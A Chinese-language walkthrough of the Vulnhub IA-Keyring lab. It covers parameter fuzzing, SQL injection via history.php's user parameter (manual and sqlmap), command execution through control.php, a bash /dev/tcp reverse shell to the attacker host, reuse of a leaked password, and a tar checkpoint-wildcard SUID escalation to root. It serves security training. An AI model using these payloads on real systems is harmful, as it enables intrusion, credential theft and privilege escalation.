当前位置: 首页 > article >正文

vulnhub靶场【IA系列】之Keyring

前言

靶机:IA-Keyring,IP地址为192.168.10.11

攻击:kali,IP地址为192.168.10.2

都采用虚拟机,网卡为桥接模式

文章中涉及的靶场以及相关工具,放置在网盘中,链接https://pan.quark.cn/s/55d71f3e14c9

主机发现

因为是下载靶机到本地,所以是同一局域网,同一网段,同一网卡下,所以为求速度可以使用arp-scan -lnetdiscover -r 192.168.10.1/24

若想要模拟真实环境,可以使用nmap

信息收集

使用nmap扫描端口

网站信息探测

访问80端口网站,可以看到是登录和注册,查看页面源代码,当点击login时,会跳转到login.php

这是login.php的界面

尝试注册一个用户test进行测试,注册成功会有弹窗,用户注册成功

若注册的用户已存在,会提示弹窗,用户已经被注册过

已注册成功的test登录,查看登录后有什么东西,查看页面源代码,这四个功能对应四个php文件

访问control时,出现一段话,感觉像是提示一样

使用gobuster爆破一下目录,发现大致一样

漏洞寻找

访问history.php,没有返回内容,不过经过测试,history是检验当前是否有用户处于登录状态的,也就是是否有用户是活跃状态的,这里当以test注册并登录后,再点击logout,这时候再去观察history,发现有内容了

那么这里肯定检测了,检测的方式呢,估计是cookie,毕竟之前我在未注册用户test的时候,访问这里是没有任何内容的,但是注册了test然后登录后,就有了这个信息。

在前面的时候,忘了放置一张图,这里再放置,这里我打字错了,是记录每一个活动

既然是记录了活动,那么假设这个php还可以查询具体用户的记录呢

不管如何,就假设这里是通过传参接收用户名进行的检测,也就是http://192.168.10.10/history.php?FUZZ=test,这个FUZZ就是可能存在的传参名,接收test用户名,以burp测试有无cookie时,这个信息的显示情况

13

可以确定,是检测cookie的,并且这个cookie是在用户登录状态时生效。

那么在进行ffuf测试的时候,可能就需要使用到cookie,这里cookie的获取可以直接从浏览器的开发者工具获取,或者这里的burp,再或者使用curl也是可以获取到cookie

ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://192.168.10.10/history.php?FUZZ=test -fs 0 -b "PHPSESSID=bp3ie1j20iek5bpjc3f3gibabs"

漏洞利用

获取参数user,那么测试会给出什么信息,指定user=test,发现这和登录时点击的功能点相似

再次指定已经注册过的用户进行测试,当然默认的admin都挺多的,并且前面的时候我测试过,在注册界面,若已注册会弹窗提示的。

指定user=admin,给出一个链接,估计可能是源码泄露了

信息泄露

访问地址,并访问其中的每个文件,发下每个文件都有数据库信息,这是作者怕忘了吗。

只有control这个,有system()函数,并且还注释到,这是不安全的函数

整理这里获取的信息,首先是数据库

用户名密码数据库
rootsqluserrootpassw0r4users

然后是接收的get参数cmdcntr

那么测试在control.php这个参数是否可行,但是测试发现以test用户无法触发,说明需要获取admin的密码

sql注入

那么当前可利用的点只有history,这里知道参数的,而且根据前面信息给出的数据库,猜测可能存在sql注入,尝试以'闭合,发现信息没了,有可能

history.php?user=admin'
history.php?user=admin' or 1=1--+

最终对比,存在sql注入的

测试,还可以进行union查询,这里可以手工,也可以sqlmap,这里直接展示最终的手工注入命令

http://192.168.10.10/history.php?user=admin' union select concat(name,password) from details--+

然后再用sqlmap测试,存在sql注入,这里还是需要以登录状态的,所以cookie要加上

sqlmap -u "http://192.168.10.10/history.php?user=admin" --cookie="PHPSESSID=bp3ie1j20iek5bpjc3f3gibabs"

然后再把所有数据下载

sqlmap -u "http://192.168.10.10/history.php?user=admin" --cookie="PHPSESSID=bp3ie1j20iek5bpjc3f3gibabs" --dump

命令执行反弹shell

admin和获取的密码直接登录,然后去测试crontal.php界面

http://192.168.10.10/control.php?cmdcntr=id

命令执行了,那么就构造一个反弹shell,需要先在kali中使用nc开启监听9999端口

/bin/bash -c 'bash -i >& /dev/tcp/192.168.10.2/9999 0>&1'
#经过URL编码处理一下
/bin/bash+-c+'bash+-i+>%26+/dev/tcp/192.168.10.2/9999+0>%261'

使用前面从数据库中查询到的john的密码Sup3r$S3cr3t$PasSW0RD进行测试,发现可以登录,一码多用啊

查看john家目录下的flag

使用find寻找具有SUID权限文件,发现当前目录下就有一个

find / -perm -4000 -print 2>/dev/null

tar 文件名提权

发现文件为可执行文件,并且是相当于tar命令

还是下载这个文件到kali中,然后分析

把当前目录下的所有文件,压缩至archive.tar

那么根据这个尝试构造文件名,使得在进行压缩的时候,进行一个连接匹配,导致语句的执行

一般tar的suid提权大概是下面这样

/bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

主要构造后面两个即可,当然如果是执行语句,构造很长也是可行的,毕竟是以suid权限执行。不过最好是复制/bin/bashtmp,并给予suid权限,这可是一个可维持长时间的

构造语句

#都是在同一目录下,也就是可执行文件compress同级目录
echo "cp /bin/bash /tmp/bash;chmod +s /tmp/bash" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1

执行compress,可以发现在/tmp下已经有了一个suid权限的bash

切换到/tmp目录下,然后执行当前目录下的bash,即可获取root权限

总结

该靶场考察以下几点:

  1. 对于登录时的一些逻辑,比如这里的history就是通过cookie进行检验,所以在遇到可注册的界面时,都要去测试,最好是抓包测试
  2. 参数污染,根据逻辑去模糊测试
  3. 信息泄露,在github上找到源码
  4. sql注入,考察登录后的sql注入,并且是字符型
  5. 一码多用的情况
  6. tar的SUID提权 ,主要就是*这个危险,导致把文件名变为可提权的命令

http://www.kler.cn/a/502543.html

相关文章:

  • OPT: Open Pre-trained Transformer语言模型
  • 高级java每日一道面试题-2025年01月13日-框架篇[Spring篇]-Spring 是怎么解决循环依赖的?
  • 51c大模型~合集104
  • Spring Boot 支持哪些日志框架
  • Redis常见
  • 线形回归与小批量梯度下降实例
  • 关于Java状态模式的面试题及其答案
  • 全网首发:编译libssh,产生类似undefined reference to `EVP_aes_256_ctr@OPENSSL_1_1_0‘的大量错误
  • 基于深度学习的滑块验证破解方法及模型训练过程
  • 算法日记2:洛谷p3853路标设置(二分答案)
  • 女性机器人有市场吗
  • Scaling Laws:通往更大模型的路径
  • Mysql常见知识点
  • Vulnhub DC-9靶机实战
  • 【深度学习】通俗理解偏差(Bias)与方差(Variance)
  • 野指针bug
  • 代码随想录day24 | leetcode 491.递增子序列 46.全排列 47.全排列 II
  • 【信息系统项目管理师】高分论文:论信息系统项目的采购管理(社会保险管理核心系统)
  • 第37周:咖啡豆识别 (Tensorflow实战第七周)
  • STL之VectorMapList针对erase方法踩坑笔记
  • iOS - Method Swizzling
  • 省市区三级联动(后端)
  • Java内存与缓存
  • Qt的.pro文件中宏的作用
  • 英伟达在CES 2025上的技术发布与采访综述
  • 【Qt笔记】QTextEdit和QPlainTextEdit 控件详解